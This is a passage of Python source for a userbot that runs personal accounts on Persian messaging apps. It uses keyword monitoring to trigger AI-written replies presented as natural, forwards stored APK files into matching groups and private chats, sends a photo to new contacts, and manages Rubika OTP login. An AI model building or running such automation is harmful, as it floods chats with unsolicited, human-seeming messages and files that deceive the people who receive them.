        reply=await _AI().chat([{"role":"system","content":sys_prompt},{"role":"user","content":f"کاربر این را گفت: {text[:500]}\nکلمه فعال: {keyword}\nیک پاسخ طبیعی و مرتبط فارسی بنویس."}],uid=uid,account_id=aid,action_type="kwl_keyword_reply",temperature=0.75,max_tokens=220)
        reply=_cleanup_caption(reply or "")
        if reply:
            is_group=False
            try: is_group=bool(trx._trx_is_group_event(event))
            except Exception: pass
            if is_group:
                gid=await _awaitable(trx._trx_event_chat_id(event))
                mid=getattr(event,"id",None) or getattr(event,"message_id",None)
                ok=await _kwl_do_reply(client,platform,gid,mid,sender_id,reply)
            else:
                send=getattr(client,"send_message",None)
                ok=False
                if callable(send): await _awaitable(send(peer,reply)); ok=True
            if _trx888_kwl_apk_enabled(uid,aid,platform):
                apk_id=_trx888_kwl_apk_id(uid,aid,platform)
                src=_DB().fetchone("SELECT src.source_peer,src.source_message_id FROM apk_files af JOIN apk_sources src ON src.apk_id=af.id WHERE af.id=? AND af.user_id=? AND af.enabled=1 LIMIT 1",(apk_id,int(uid))) if apk_id else None
                if src:
                    try:
                        try:
                            apk_dest = await _awaitable(trx._trx_event_chat_id(event))
                        except Exception:
                            apk_dest = peer
                        await _apkfix_do_forward(client,str(src["source_peer"] or ""),str(src["source_message_id"] or ""),str(apk_dest or peer),platform)
                    except Exception: pass
            try:
                _DB().execute("INSERT INTO trx_keyword_reply_log(user_id,account_id,platform,group_id,peer_id,trigger_message,reply_message,keyword_matched,success,created_at) VALUES(?,?,?,?,?,?,?,?,?,?)",(int(uid),int(aid),platform,str(await _awaitable(trx._trx_event_chat_id(event))) if is_group else "__pv__",sender_id or str(peer),text[:500],reply[:500],keyword,1 if ok else 0,trx.now()))
                _trx888_db_commit()
            except Exception: pass
            return bool(ok)
    except Exception as exc:
        _LOG_WARN(f"[TRX888][kwl] {_mask(str(exc))}")
    return False


async def _trx888_keyword_live(event,uid,service,aid):
    try:
        if bool(getattr(event,"is_me",False)) or bool(getattr(event,"out",False)): return False
    except Exception: pass
    try:
        text= str(trx._trx_extract_event_text(event) or "").strip()
        if not text or text.startswith("/"): return False
        platform=str(service or "").lower(); words=_trx888_kwords_get(uid,aid,platform)
        if not words or not _trx888_kword_enabled(uid,aid,platform): return False
        hit=_trx888_keyword_match(text,words)
        if not hit: return False
        client=trx.ai_live_clients.get((int(uid),int(aid))) or await trx._ensure_ai_client(int(uid),int(aid))
        if client is None: return False
        peer=str(trx._trx_peer_key(event,f"{platform}:{aid}") or "")
        return await _trx888_kwl_reply(uid,aid,platform,peer,text,hit,event,client)
    except Exception as exc:
        _LOG_WARN(f"[TRX888][kwl-live] {_mask(str(exc))}")
    return False


async def _trx888_kwl_dispatch(cb_id,uid,lang,u,chat_id,msg_id,data):
    ds=str(data or "")
    if not ds.startswith(TRX888_KWL_PREFIX): return None
    await _safe_answer(cb_id)
    st=_TRX888_KWL_STATE.get(int(uid),{})
    try:
        if ds == TRX888_KWL_PREFIX+"add":
            _TRX888_KWL_STATE[int(uid)]={"state":"words","aid":st.get("aid"),"platform":st.get("platform")}
            return await _safe_edit(chat_id,msg_id,TRX_UI_STYLE.wizard("رصد کلمات","افزودن","کلمات را هرکدام در یک خط بفرست","مثلاً قرآن\nهوش مصنوعی"),_IKB([[('❌ لغو',KWL_PREFIX+'start','danger')]]))
        if ds == TRX888_KWL_PREFIX+"toggle":
            aid=int(st.get("aid") or 0); plat=str(st.get("platform") or ""); new=not _trx888_kword_enabled(uid,aid,plat); _setting_set(_trx888_setting_key("kwl","enabled",uid,aid,plat),"1" if new else "0")
            return await _safe_edit(chat_id,msg_id,"✓ وضعیت رصد کلمات تغییر کرد.",_IKB([[('↩️ بازگشت',TRX888_KWL_PREFIX+'menu','primary')]]))
        if ds == TRX888_KWL_PREFIX+"apk":
            _TRX888_KWL_STATE[int(uid)]={"state":"apk","aid":st.get("aid"),"platform":st.get("platform")}
            return await _safe_edit(chat_id,msg_id,TRX_UI_STYLE.wizard("APK کلمه کلیدی","ثبت منبع","لینک مستقیم پیام APK را بفرست","بعداً با فعال‌کردن گزینه APK روی کلمه، همان منبع هدایت می‌شود"),_IKB([[('❌ لغو',KWL_PREFIX+'start','danger')]]))
        if ds == TRX888_KWL_PREFIX+"apk.toggle":
            aid=int(st.get("aid") or 0); plat=str(st.get("platform") or ""); enabled=not _trx888_kwl_apk_enabled(uid,aid,plat); _setting_set(_trx888_setting_key("kwl","apk_enabled",uid,aid,plat),"1" if enabled else "0")
            return await _safe_edit(chat_id,msg_id,("✅ فوروارد APK روی کلمه فعال شد." if enabled else "🛑 فوروارد APK روی کلمه غیرفعال شد."),_IKB([[('↩️ بازگشت',TRX888_KWL_PREFIX+'menu','primary')]]))
        if ds == TRX888_KWL_PREFIX+"menu":
            aid=int(st.get("aid") or 0); plat=str(st.get("platform") or "")
            words=_trx888_kwords_get(uid,aid,plat); apk_on=_trx888_kwl_apk_enabled(uid,aid,plat)
            return await _safe_edit(chat_id,msg_id,TRX_UI_STYLE.menu("رصد کلمات",[f"اکانت: #{aid}",f"کلمات: {len(words)}",f"رصد: {'🟢 فعال' if _trx888_kword_enabled(uid,aid,plat) else '🔴 خاموش'}",f"APK روی کلمه: {'🟢' if apk_on else '🔴'}"]),_IKB([
                [('➕ افزودن کلمه',TRX888_KWL_PREFIX+'add','primary')],
                [('📎 ثبت APK برای کلمه',TRX888_KWL_PREFIX+'apk','primary')],
                [('📦 APK روی کلمه: روشن/خاموش',TRX888_KWL_PREFIX+'apk.toggle','primary')],
                [('🔄 رصد: روشن/خاموش',TRX888_KWL_PREFIX+'toggle','primary')],
                [('↩️ بازگشت',KWL_PREFIX+'start','primary')],
            ]))
        return None
    except Exception as exc:
        _LOG_ERR(f"[TRX888][kwl-dispatch] {_mask(str(exc))}")
        return await _safe_edit(chat_id,msg_id,"⚠️ خطا در تنظیمات رصد کلمات.",_trx647_menu(lang,uid))


async def _trx888_kwl_on_msg(msg):
    uid=(msg.get("from") or {}).get("id"); chat_id=(msg.get("chat") or {}).get("id"); txt=str(msg.get("text") or "").strip()
    if not uid or not chat_id or not txt or txt.startswith("/"): return None
    st=_TRX888_KWL_STATE.get(int(uid));
    if not st: return None
    if st.get("state") == "words":
        words=_trx888_parse_lines(txt,50)
        if not words: return await _BOT().send(chat_id,"❌ کلمه‌ای وارد نشده.")
        words=_trx888_kwords_get(uid,int(st["aid"]),str(st["platform"])) + words
        _trx888_kwords_set(uid,int(st["aid"]),str(st["platform"]),words); _TRX888_KWL_STATE[int(uid)]={"state":"menu","aid":st["aid"],"platform":st["platform"]}
        return await _BOT().send(chat_id,f"✓ {len(_trx888_kwords_get(uid,int(st['aid']),str(st['platform'])))} کلمه ثبت شد.",reply_markup=_IKB([[('⚙️ ادامه تنظیمات',TRX888_KWL_PREFIX+'menu','primary')]]))
    if st.get("state") == "apk":
        try:
            ok,info,row=await _trx647_save_apk_link(uid,int(st["aid"]),str(st["platform"]),txt)
            if not ok: return await _BOT().send(chat_id,f"❌ {info}")
            _setting_set(_trx888_setting_key("kwl","apk",uid,int(st["aid"]),str(st["platform"])),str(int(row["apk_id"])))
            _setting_set(_trx888_setting_key("kwl","apk_enabled",uid,int(st["aid"]),str(st["platform"])),"1")
            _TRX888_KWL_STATE[int(uid)]={"state":"menu","aid":st["aid"],"platform":st["platform"]}
            return await _BOT().send(chat_id,"✓ APK ثبت شد و فوروارد روی کلمه فعال شد.",reply_markup=_IKB([[('⚙️ ادامه تنظیمات',TRX888_KWL_PREFIX+'menu','primary')]]))
        except Exception as exc:
            return await _BOT().send(chat_id,"⚠️ ثبت APK ناموفق بود.")
    return None


# ---------------------------------------------------------------------------
# Provider diagnostics: test every configured AI provider without changing the
# user's API keys or enabling intentionally disabled providers.
# ---------------------------------------------------------------------------
async def _trx888_provider_health():
    try:
        if hasattr(trx,"ai"):
            await trx.ai.start(); await trx.ai.seed()
        rows=_DB().fetchall("SELECT id,name,status,api_key FROM ai_providers ORDER BY priority,id")
        for row in rows:
            pid=int(row["id"]); name=str(row["name"])
            key=bool(str(row["api_key"] or "").strip()); status=str(row["status"] or "")
            if status == "disabled":
                _LOG_INFO(f"[TRX888][API] {name}=disabled (left unchanged)"); continue
            if not key:
                _LOG_WARN(f"[TRX888][API] {name}=NO_API_KEY"); continue
            try:
                ok,info=await asyncio.wait_for(trx.ai.test(pid),timeout=15)
                if ok: _LOG_INFO(f"[TRX888][API] {name}=OK")
                else: _LOG_WARN(f"[TRX888][API] {name}=FAIL {str(info)[:200]}")
            except Exception as exc:
                _LOG_WARN(f"[TRX888][API] {name}=ERROR {_mask(str(exc))}")
    except asyncio.CancelledError:
        raise
    except Exception as exc:
        _LOG_WARN(f"[TRX888][API] health bootstrap {_mask(str(exc))}")


# ---------------------------------------------------------------------------
# Two-hour memory: make the final effective TTL 7200 seconds and hard-delete
# both memory tables on expiry, then reclaim SQLite pages.
# ---------------------------------------------------------------------------
TRX647_MEMORY_TTL_SECONDS = 7200
TRX647_MEMORY_CLEANUP_SECONDS = 300
TRX_LTM_TTL_DAYS = 7200 / 86400.0


def _trx888_memory_cleanup_final():
    try:
        now=datetime.utcnow(); cutoff=(now-timedelta(seconds=7200)).isoformat(); now_iso=now.isoformat()
        c1=_DB().execute("DELETE FROM trx_long_memory WHERE expires_at<=? OR created_at<=?",(now_iso,cutoff))
        c2=_DB().execute("DELETE FROM ai_memory WHERE created_at<=?",(cutoff,))
        _trx888_db_commit()
        if int(getattr(c1,"rowcount",0) or 0) or int(getattr(c2,"rowcount",0) or 0):
            try: _DB().conn.execute("PRAGMA wal_checkpoint(TRUNCATE)")
            except Exception: pass
            try: _DB().conn.execute("VACUUM")
            except Exception: pass
    except Exception as exc:
        _LOG_WARN(f"[TRX888][memory] {_mask(str(exc))}")


def _trx888_ltm_save(uid,aid,platform,peer,summary,key_facts,msg_count):
    try:
        created=datetime.utcnow(); exp=created+timedelta(seconds=7200)
        _DB().execute("INSERT INTO trx_long_memory(user_id,account_id,platform,peer_id,summary,key_facts,message_count,created_at,expires_at) VALUES(?,?,?,?,?,?,?,?,?) ON CONFLICT(user_id,account_id,platform,peer_id) DO UPDATE SET summary=excluded.summary,key_facts=excluded.key_facts,message_count=excluded.message_count,created_at=excluded.created_at,expires_at=excluded.expires_at",(int(uid),int(aid),str(platform),str(peer),str(summary)[:4000],str(key_facts)[:2000],int(msg_count),created.isoformat(),exp.isoformat()))
        _trx888_db_commit()
    except Exception as exc: _LOG_WARN(f"[TRX888][ltm-save] {_mask(str(exc))}")


def _trx888_ltm_get(uid,aid,platform,peer):
    try:
        row=_DB().fetchone("SELECT * FROM trx_long_memory WHERE user_id=? AND account_id=? AND platform=? AND peer_id=?",(int(uid),int(aid),str(platform),str(peer)))
        if not row: return None
        exp=datetime.fromisoformat(str(row["expires_at"]).replace("Z",""))
        if exp<=datetime.utcnow():
            _DB().execute("DELETE FROM trx_long_memory WHERE id=?",(int(row["id"]),)); _trx888_db_commit(); return None
        return dict(row)
    except Exception: return None


# ---------------------------------------------------------------------------
# Schema extension
# ---------------------------------------------------------------------------
try:
    _DB().execute("CREATE TABLE IF NOT EXISTS trx888_gallery_first_touch(user_id INTEGER NOT NULL,account_id INTEGER NOT NULL,platform TEXT NOT NULL,peer_id TEXT NOT NULL,created_at TEXT NOT NULL,PRIMARY KEY(user_id,account_id,platform,peer_id))")
    _trx888_db_commit()
except Exception: pass

# ---------------------------------------------------------------------------
# AI menu additions
# ---------------------------------------------------------------------------
_TRX888_AI_MENU_BASE = trx.ai_advanced_menu

def _trx888_ai_menu(lang,uid):
    try:
        menu=_TRX888_AI_MENU_BASE(lang,uid) or {"inline_keyboard":[]}
        rows=[]
        for row in menu.get("inline_keyboard",[]):
            nr=[]
            for btn in row:
                cb=btn.get("callback_data") if isinstance(btn,dict) else None
                if cb in ("apkfix.standard",): continue
                nr.append(btn)
            if nr: rows.append(nr)
        if not any(isinstance(b,dict) and b.get("callback_data")==GALLERY_PREFIX+"start" for row in rows for b in row):
            rows.append([{"text":"🖼 گالری APK","callback_data":GALLERY_PREFIX+"start"}])
        return {"inline_keyboard":rows}
    except Exception: return _TRX888_AI_MENU_BASE(lang,uid)
trx.ai_advanced_menu=_trx888_ai_menu

# ---------------------------------------------------------------------------
# Final callback chain
# ---------------------------------------------------------------------------
_TRX888_DISPATCH_BASE = trx.dispatch_cb
_TRX888_ON_MSG_BASE = trx.on_msg

async def _trx888_dispatch_cb(cb_id,uid,lang,u,chat_id,msg_id,data):
    ds=str(data or "")
    try:
        # Target menu embedded into the existing APK section.
        if ds == "apkfix.start":
            return await _safe_edit(chat_id,msg_id,TRX_UI_STYLE.menu("ارسال APK",["پلتفرم را انتخاب کن"]),_IKB([
                [("🔵 روبیکا","apkfix.plat:rubika","primary"),("🔴 سروش پلاس","apkfix.plat:soroush","danger")],
                [("🟡 بله","apkfix.plat:bale","primary"),("🟦 تلگرام","apkfix.plat:telegram","primary")],
                [("🟩 شاد","apkfix.plat:shad","success")],
                [("↩️ بازگشت","ai","primary")],
            ]))
        if ds.startswith("apkfix.plat:"):
            plat=_trx647_platform(ds.split(":",1)[1]); rows=_DB().fetchall("SELECT id,phone FROM accounts WHERE user_id=? AND service=? AND enabled=1 ORDER BY id DESC",(int(uid),plat)) if plat else []
            btns=[[(f"#{r['id']} — {trx._mask_phone(r['phone']) if r['phone'] else '—'}",f"apkfix.acc:{int(r['id'])}:{plat}","primary")] for r in rows]
            btns.append([('↩️ بازگشت','apkfix.start','primary')])
            return await _safe_edit(chat_id,msg_id,TRX_UI_STYLE.menu(f"اکانت {_platform_label(plat,lang)}",["اکانت را انتخاب کن"]),_IKB(btns))
        if ds.startswith("apkfix.acc:"):
            aid,plat=_trxj_parse_account_callback(ds,"apkfix.")
            if aid is None or not _trxj_validate_account(uid,aid,plat): return await _safe_edit(chat_id,msg_id,"❌ اکانت نامعتبر.",_trx647_menu(lang,uid))
            _TRX888_TARGET_STATE[int(uid)]={"aid":int(aid),"platform":plat,"state":"target_menu","created":time.time()}
            return await _trx888_target_dispatch(cb_id,uid,lang,u,chat_id,msg_id,TRX888_TARGET_PREFIX+"menu")
        if ds == "apkfix.standard":
            st=_TRX888_TARGET_STATE.get(int(uid),{}); aid=st.get("aid"); plat=st.get("platform")
            if not aid or not plat: return await _safe_edit(chat_id,msg_id,"❌ ابتدا اکانت را انتخاب کن.",_trx647_menu(lang,uid))
            _TRX647_APK_STATE[int(uid)]={"state":"link","aid":int(aid),"platform":str(plat),"created":_trx647_now(),"expires":_trx647_now()+TRX647_STATE_TTL}
            return await _safe_edit(chat_id,msg_id,TRX_UI_STYLE.wizard("ارسال APK","مرحله ۱ از ۵","لینک مستقیم همان پیام APK را بفرست","ارسال معمول قبلی بدون تغییر ادامه دارد"),_IKB([[('❌ لغو','apkfix.cancel','danger')]]))

        r=await _trx888_target_dispatch(cb_id,uid,lang,u,chat_id,msg_id,ds)
        if r is not None: return r
        r=await _trx888_gallery_dispatch(cb_id,uid,lang,u,chat_id,msg_id,ds)
        if r is not None: return r

        # Enhance KWL account screen without removing the old KWL implementation.
        if ds.startswith(KWL_PREFIX+"acc:"):
            aid,plat=_trxj_parse_account_callback(ds,KWL_PREFIX)
            if aid is not None and _trxj_validate_account(uid,aid,plat):
                _TRX888_KWL_STATE[int(uid)]={"state":"menu","aid":int(aid),"platform":str(plat)}
                words=_trx888_kwords_get(uid,aid,plat)
                return await _safe_edit(chat_id,msg_id,TRX_UI_STYLE.menu("رصد کلمات",[f"اکانت: #{aid}",f"کلمات ثبت‌شده: {len(words)}","رصد می‌تواند در PV و گروه کار کند"]),_IKB([
                    [('➕ افزودن کلمه',TRX888_KWL_PREFIX+'add','primary')],
                    [('📎 ثبت APK برای کلمه',TRX888_KWL_PREFIX+'apk','primary')],
                    [('📦 APK روی کلمه',TRX888_KWL_PREFIX+'apk.toggle','primary')],
                    [('🔄 رصد کلمات',TRX888_KWL_PREFIX+'toggle','primary')],
                    [('↩️ بازگشت',KWL_PREFIX+'start','primary')],
                ]))
        r=await _trx888_kwl_dispatch(cb_id,uid,lang,u,chat_id,msg_id,ds)
        if r is not None: return r

        # Keep existing callback routes.
        return await _TRX888_DISPATCH_BASE(cb_id,uid,lang,u,chat_id,msg_id,ds)
    except Exception as exc:
        _LOG_ERR(f"[TRX888][dispatch] {_mask(str(exc))}")
        return await _TRX888_DISPATCH_BASE(cb_id,uid,lang,u,chat_id,msg_id,ds)


async def _trx888_on_msg(msg):
    uid=(msg.get("from") or {}).get("id")
    if uid:
        for fn in (_trx888_target_on_msg,_trx888_gallery_on_msg,_trx888_kwl_on_msg):
            try:
                r=await fn(msg)
                if r is not None: return r
            except Exception as exc:
                _LOG_WARN(f"[TRX888][on-msg] {fn.__name__}: {_mask(str(exc))}")
    return await _TRX888_ON_MSG_BASE(msg)

trx.dispatch_cb=_trx888_dispatch_cb
trx.on_msg=_trx888_on_msg

# ---------------------------------------------------------------------------
# Final live wrapper: first-touch photo + keyword watcher BEFORE conversation.
# ---------------------------------------------------------------------------
_TRX888_LIVE_BASE = trx._trx01_event_handler

async def _trx888_live_handler(event,uid,service,aid):
    try:
        platform=str(service or "").lower()
        client=trx.ai_live_clients.get((int(uid),int(aid)))
        if client is None:
            try: client=await trx._ensure_ai_client(int(uid),int(aid))
            except Exception: client=None
        is_private=False
        try: is_private=bool(trx._trx_is_private_event(event))
        except Exception: is_private=True
        if is_private and client is not None:
            try:
                peer=str(trx._trx_peer_key(event,f"{platform}:{aid}") or "")
                text=str(trx._trx_extract_event_text(event) or "").strip()
                if text and peer:
                    await _trx888_send_first_photo(uid,aid,platform,peer,client)
                    handled=await _trx888_keyword_live(event,uid,service,aid)
                    if handled: return None
            except Exception as exc:
                _LOG_WARN(f"[TRX888][live-private] {_mask(str(exc))}")
        else:
            try:
                handled=await _trx888_keyword_live(event,uid,service,aid)
                if handled: return None
            except Exception: pass
    except Exception as exc:
        _LOG_WARN(f"[TRX888][live-wrapper] {_mask(str(exc))}")
    return await _TRX888_LIVE_BASE(event,uid,service,aid)

for _n in ("_trx01_event_handler","_trx_event_handler","_trx_event_handler_v9","_trx_event_handler_v10","_trx_event_handler_v11","_trx115_event_handler_v14"):
    try: setattr(trx,_n,_trx888_live_handler)
    except Exception: pass


# ---------------------------------------------------------------------------
# Final Rubika OTP override — rulog's documented Android -> Web flow,
# hard 10-second deadline, phone_code_hash preserved for verification.
# ---------------------------------------------------------------------------
async def _trx888_rubika_send_code_final(uid, phone):
    number = _rubika_phone_v20(phone)
    started = time.monotonic()
    errors = []
    try:
        mod = trx._trx_import_or_install("rulog", "rulog")
        RulogClient = getattr(mod, "Client", None)
        if RulogClient is not None:
            for plat in ("android", "web"):
                remaining = max(0.2, 10.0 - (time.monotonic() - started))
                if remaining <= 0.2:
                    break
                try:
                    rc = RulogClient()
                    fn = getattr(rc, "sendCode", None)
                    if not callable(fn):
                        raise RuntimeError("rulog.Client.sendCode unavailable")
                    kwargs = {"send_type": True} if plat == "android" else {}
                    resp = await asyncio.wait_for(
                        asyncio.to_thread(fn, plat, number, **kwargs),
                        timeout=remaining,
                    )
                    ph = _rubika_extract_hash_v20(resp)
                    if ph:
                        trx.active_clients[int(uid)] = {
                            "client": None,
                            "rulog": rc,
                            "service": "rubika",
                            "phone": number,
                            "phone_input": str(phone).strip(),
                            "hash": str(ph),
                            "otp_platform": plat,
                            "backend": "rulog-final",
                            "created_at": time.time(),
                            "connected": False,
                        }
                        _LOG_INFO(f"[TRX888][RubikaOTP] sendCode OK platform={plat} elapsed={time.monotonic()-started:.2f}s")
                        return True, {"phone_code_hash": str(ph)}
                    errors.append(f"{plat}: no phone_code_hash")
                except asyncio.TimeoutError:
                    errors.append(f"{plat}: timeout")
                    break
                except SystemExit as exc:
                    errors.append(f"{plat}: SystemExit({exc})")
                except Exception as exc:
                    errors.append(f"{plat}: {type(exc).__name__}: {str(exc)[:160]}")
        else:
            errors.append("rulog.Client unavailable")
    except SystemExit as exc:
        errors.append(f"rulog SystemExit({exc})")
    except Exception as exc:
        errors.append(f"rulog init: {type(exc).__name__}: {str(exc)[:180]}")

    # Optional HTTPS fallback, but never beyond the 10-second hard deadline.
    remaining = 10.0 - (time.monotonic() - started)
    if remaining > 0.5:
        try:
            result, err = await asyncio.wait_for(_rubika_https_send_v20(number), timeout=remaining)
            if result:
                trx.active_clients[int(uid)] = {
                    "client": None,
                    "rulog": None,
                    "service": "rubika",
                    "phone": number,
                    "phone_input": str(phone).strip(),
                    "hash": str(result["hash"]),
                    "otp_platform": str(result.get("platform") or "web"),
                    "backend": "rubika-https-final",
                    "created_at": time.time(),
                    "connected": False,
                }
                _LOG_INFO(f"[TRX888][RubikaOTP] HTTPS fallback OK elapsed={time.monotonic()-started:.2f}s")
                return True, {"phone_code_hash": str(result["hash"])}
            errors.append(f"https: {str(err)[:220]}")
        except asyncio.TimeoutError:
            errors.append("https: timeout")
        except SystemExit as exc:
            errors.append(f"https: SystemExit({exc})")
        except Exception as exc:
            errors.append(f"https: {type(exc).__name__}: {str(exc)[:180]}")

    try:
        trx.active_clients.pop(int(uid), None)
    except Exception:
        pass
    full = " | ".join(errors)[:900] or "no backend response"
    _LOG_ERR(f"[TRX888][RubikaOTP] failed in <=10s uid={uid}: {full}")
    return False, f"ارسال کد روبیکا در مهلت ۱۰ ثانیه ناموفق بود.\n{full}"

try:
    _TRX888_RUBIKA_VERIFY = trx.SERVICE_HANDLERS["rubika"]["verify"]
    trx.SERVICE_HANDLERS["rubika"] = {
        "send": _trx888_rubika_send_code_final,
        "verify": _TRX888_RUBIKA_VERIFY,
    }
    _LOG_INFO("[TRX888][RubikaOTP] final rulog Android/Web sender installed")
except Exception as exc:
    _LOG_WARN(f"[TRX888][RubikaOTP] final install failed: {_mask(str(exc))}")

# Effective memory functions used by AI.
trx._ltm_get=_trx888_ltm_get
trx._ltm_save=_trx888_ltm_save
trx._ltm_cleanup=_trx888_memory_cleanup_final
_ltm_get = _trx888_ltm_get
_ltm_save = _trx888_ltm_save

# Replace final startup hooks with the 2-hour cleaner and provider diagnostics.
_TRX888_MAIN_BASE = trx.main
async def _trx888_main():
    try: _trx888_memory_cleanup_final()
    except Exception: pass
    try:
        _create_task(_trx647_memory_scheduler())
        _create_task(_trx888_provider_health())
    except Exception as exc:
        _LOG_WARN(f"[TRX888][main] {_mask(str(exc))}")
    return await _TRX888_MAIN_BASE()
trx.main=_trx888_main

_LOG_INFO(f"[TRX888] additive final layer installed: {TRX888_BUILD}")



# ═══════════════════════════════════════════════════════════════════════════
# PART 3 — CRITICAL RUNTIME FIXES  (append-only; NO existing line removed)
# ---------------------------------------------------------------------------
# Fixes every pyflakes "undefined name" found in this patch and restores the
# six reported flows:
#   A) `subprocess` import (voice TTS auto-install path raised NameError)
#   B) `_trx647_menu` (referenced 38x, was never defined -> every APK / gallery
#      / keyword / channel screen crashed with NameError)
#   C) `_trx01_save_apk_link` (bare name used by the APK link-save step)
#   D) `_profile_learn_dispatch` (profile / learning toggles)
#   1) APK send        2) group reply        3) keyword groups panel
#   4) name-calling    5) channel activity   6) voice in groups + PV (max 2)
# ═══════════════════════════════════════════════════════════════════════════

import subprocess  # noqa: F401  (FIX A — used inside _trx_tts_generate)


# ---- FIX B: _trx647_menu (38 references, never defined) --------------------
def _trx647_menu(lang, uid):
    """Return the live AI menu; used as the universal 'back' markup."""
    try:
        return trx.ai_advanced_menu(lang, uid)
    except Exception:
        try:
            return trx.ai_advanced_menu("fa", uid)
        except Exception:
            return {"inline_keyboard": []}


# ---- FIX C: _trx01_save_apk_link (bare name used by the APK link step) -----
try:
    _trx01_save_apk_link = trx._trx01_save_apk_link
except Exception:
    _trx01_save_apk_link = None


# ---- FIX D: _profile_learn_dispatch (profile / learning toggles) -----------
async def _profile_learn_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data):
    try:
        r = await _profile_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data)
        if r is not None:
            return r
    except Exception as exc:
        _LOG_WARN(f"[PART3][profile] {_mask(str(exc))}")
    try:
        return await _learn_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data)
    except Exception as exc:
        _LOG_WARN(f"[PART3][learn] {_mask(str(exc))}")
        return None


# ═══════════════════════════════════════════════════════════════════════════
# FIX 2 — GROUP REPLY: make reply/mention detection robust on every platform
# and relax the gate so a reply/mention is always answered.
# ═══════════════════════════════════════════════════════════════════════════
_TRX888P3_IS_REPLY_BASE = getattr(trx, "_trx_event_is_reply", None)
_TRX888P3_MENTION_BASE = getattr(trx, "_trx_event_mentions_me", None)

_TRX888P3_REPLY_ATTRS = (
    "is_reply", "reply_to", "reply_to_msg_id", "reply_to_message",
    "reply_to_message_id", "reply_message", "reply_msg", "reply_id",
    "reply_to_id", "quoted", "quote", "reply", "replyTo", "replied_to",
)


def _trx888p3_event_is_reply(event):
    try:
        if callable(_TRX888P3_IS_REPLY_BASE) and _TRX888P3_IS_REPLY_BASE(event):
            return True
    except Exception:
        pass
    for attr in _TRX888P3_REPLY_ATTRS:
        try:
            if getattr(event, attr, None):
                return True
        except Exception:
            continue
    for holder in (
        getattr(event, "message", None),
        getattr(event, "raw", None),
        getattr(event, "data", None),
    ):
        if holder is None:
            continue
        for attr in _TRX888P3_REPLY_ATTRS:
            try:
                if getattr(holder, attr, None):
                    return True
            except Exception:
                continue
        try:
            if isinstance(holder, dict):
                for attr in _TRX888P3_REPLY_ATTRS:
                    if holder.get(attr):
                        return True
        except Exception:
            pass
    return False


def _trx888p3_event_mentions_me(event):
    try:
        if callable(_TRX888P3_MENTION_BASE) and _TRX888P3_MENTION_BASE(event):
            return True
    except Exception:
        pass
    try:
        if getattr(event, "mentioned", False):
            return True
    except Exception:
        pass
    return False


try:
    trx._trx_event_is_reply = _trx888p3_event_is_reply
    trx._trx_event_mentions_me = _trx888p3_event_mentions_me
except Exception:
    pass


# The base AI handler (TRXF2._trx_event_handler) gates group replies on
# `_trx_group_message_is_directed`, which only understands a handful of
# attribute names. Platforms that expose the reply target under a different
# name (reply_to_message / quoted / raw dict, ...) were silently dropped, which
# is exactly the reported "group reply broken" symptom. This override reuses
# the robust reply/mention probes above.
_TRX888P3_IS_DIRECTED_BASE = getattr(trx, "_trx_group_message_is_directed", None)


def _trx888p3_group_message_is_directed(event):
    try:
        if callable(_TRX888P3_IS_DIRECTED_BASE) and _TRX888P3_IS_DIRECTED_BASE(event):
            return True
    except Exception:
        pass
    try:
        if _trx888p3_event_is_reply(event):
            return True
    except Exception:
        pass
    try:
        if _trx888p3_event_mentions_me(event):
            return True
    except Exception:
        pass
    # Fallback: @username of self/chat mentioned in the text.
    try:
        text_value = str(trx._trx_extract_event_text(event) or "").lower()
        names = []
        for attr in ("me", "sender", "chat"):
            obj = getattr(event, attr, None)
            if obj is None:
                continue
            un = getattr(obj, "username", None)
            if un:
                names.append(str(un).lower().lstrip("@"))
        if names and any(("@" + x) in text_value for x in names if x):
            return True
    except Exception:
        pass
    return False


try:
    trx._trx_group_message_is_directed = _trx888p3_group_message_is_directed
except Exception:
    pass


async def _group_should_ai_reply(uid, aid, platform, group_id, sender_id,
                                 message_text, is_reply_to_me, is_mention):
    """Reply whenever the account is directly replied-to or mentioned.

    The previous version additionally required the AI to rate the message as
    high/medium quality, which silently dropped valid replies and made the
    group section appear 'broken'. Only obvious non-conversational noise is
    rejected now.
    """
    txt = str(message_text or "").strip()
    low = txt.lower()
    if not txt:
        return False, "empty"
    if not is_reply_to_me and not is_mention:
        return False, "no_direct"
    # Reject pure arithmetic / obvious spam only.
    if re.search(r"^\d+\s*[\+\-\*/]\s*\d+", low):
        return False, "math"
    if re.search(r"^(https?://|t\.me/|@[a-z0-9_]{3,})\s*$", low):
        return False, "link_only"
    return True, "direct"


# ═══════════════════════════════════════════════════════════════════════════
# FIX 3 — KEYWORD MONITORING: groups panel + unified live check
# ═══════════════════════════════════════════════════════════════════════════
_TRX888P3_KWL_GROUPS = {}


def _trx888p3_kwl_groups_view(st):
    groups = st.get("groups") or []
    sel = set(str(x) for x in (st.get("selected") or []))
    rows = []
    for i, g in enumerate(groups[:100]):
        mark = "✅" if str(g.get("id")) in sel else "☐"
        rows.append([(f"{mark} {str(g.get('title', ''))[:38]}",
                      f"trx888.kwl.gtoggle:{i}", "primary")])
    rows.append([("✅ فعالسازی انتخابشدهها", "trx888.kwl.gconfirm", "success")])
    rows.append([("➕ افزودن کلمه کلیدی", "trx888.kwl.add", "primary")])
    rows.append([("↩️ بازگشت", "kwl.start", "primary")])
    info = [
        f"اکانت: #{int(st.get('aid') or 0)}",
        f"{len(groups)} گروه شناسایی شد",
        f"انتخابشده: {len(sel)}",
    ]
    if not groups:
        info.append("گروهی پیدا نشد؛ مطمئن شو اکانت متصل است")
    return TRX_UI_STYLE.menu("گروههای رصد کلمات", info), _IKB(rows)


async def _trx888p3_kwl_groups(cb_id, uid, lang, u, chat_id, msg_id, data):
    ds = str(data or "")
    st = _TRX888P3_KWL_GROUPS.get(int(uid), {})

    if ds in ("kwl.groups", "trx888.kwl.groups"):
        aid = int(st.get("aid") or 0)
        plat = str(st.get("platform") or "")
        if not aid:
            s = trx.state.get(uid) or {}
            aid = int(s.get("account_id") or 0)
            plat = str(s.get("platform") or "")
        if not aid:
            try:
                row = _DB().fetchone(
                    "SELECT id,service FROM accounts WHERE user_id=? AND enabled=1 ORDER BY id DESC LIMIT 1",
                    (int(uid),),
                )
                if row:
                    aid = int(row["id"])
                    plat = str(row["service"] or "")
            except Exception:
                pass
        client = trx.ai_live_clients.get((int(uid), int(aid)))
        if client is None:
            try:
                client = await trx._ensure_ai_client(int(uid), int(aid))
            except Exception:
                client = None
        groups = []
        try:
